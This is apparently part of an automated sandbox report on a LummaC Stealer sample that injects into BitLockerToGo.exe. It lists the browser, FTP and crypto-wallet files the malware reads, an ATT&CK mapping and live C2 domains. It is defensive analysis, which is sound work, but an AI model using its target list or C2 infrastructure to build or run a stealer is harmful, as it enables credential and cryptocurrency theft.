Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior

Source: Yara match	File source: 00000002.00000003.2368653057.0000000003295000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2337072175.000000000329B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2336723188.0000000003295000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2336325859.0000000003295000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2368840988.000000000329B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2353542738.0000000003295000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2378788683.00000000032A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2336902657.0000000003295000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2379061584.00000000032A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2379153647.00000000032AC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2305818543.000000000329D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2353697188.000000000329B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2292544012.000000000329D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2292620834.000000000329D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2336147464.0000000003295000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 5232, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 5232, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	22 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Setup.exe	16%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fashionablei.sbs	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
mediavelk.sbs	true	unknown
fashionablei.sbs	true	unknown
definitib.sbs	true	unknown
strikebripm.sbs	true	unknown
elaboretib.sbs	true	unknown
activedomest.sbs	true	unknown
ostracizez.sbs	true	unknown
https://fashionablei.sbs/api	true	unknown
arenbootk.sbs	true	unknown
offybirhtdi.sbs	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/ll	BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs/L	BitLockerToGo.exe, 00000002.00000003.2278420494.0000000003247000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/api3	BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs/ult	BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs/ctivp	BitLockerToGo.exe, 00000002.00000003.2336723188.000000000328A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336147464.0000000003288000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/golang/protobuf/issues/1609):	Setup.exe	false		unknown
http://crl.mic	BitLockerToGo.exe, 00000002.00000003.2368653057.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2403644084.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2379853214.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418744556.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2378878983.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353942171.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2353542738.000000000327E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fashionablei.sbs:443/api	BitLockerToGo.exe, 00000002.00000003.2403644084.000000000327E000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2336325859.0000000003295000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2418744556.000000000327E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000002.00000003.2338097351.00000000055D1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.2293514866.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293353004.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2293288768.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fashionablei.sbs/apin4	BitLockerToGo.exe, 00000002.00000003.2336723188.0000000003291000.00000004.00000020.00020000.00000000.sdmp	false		unknown
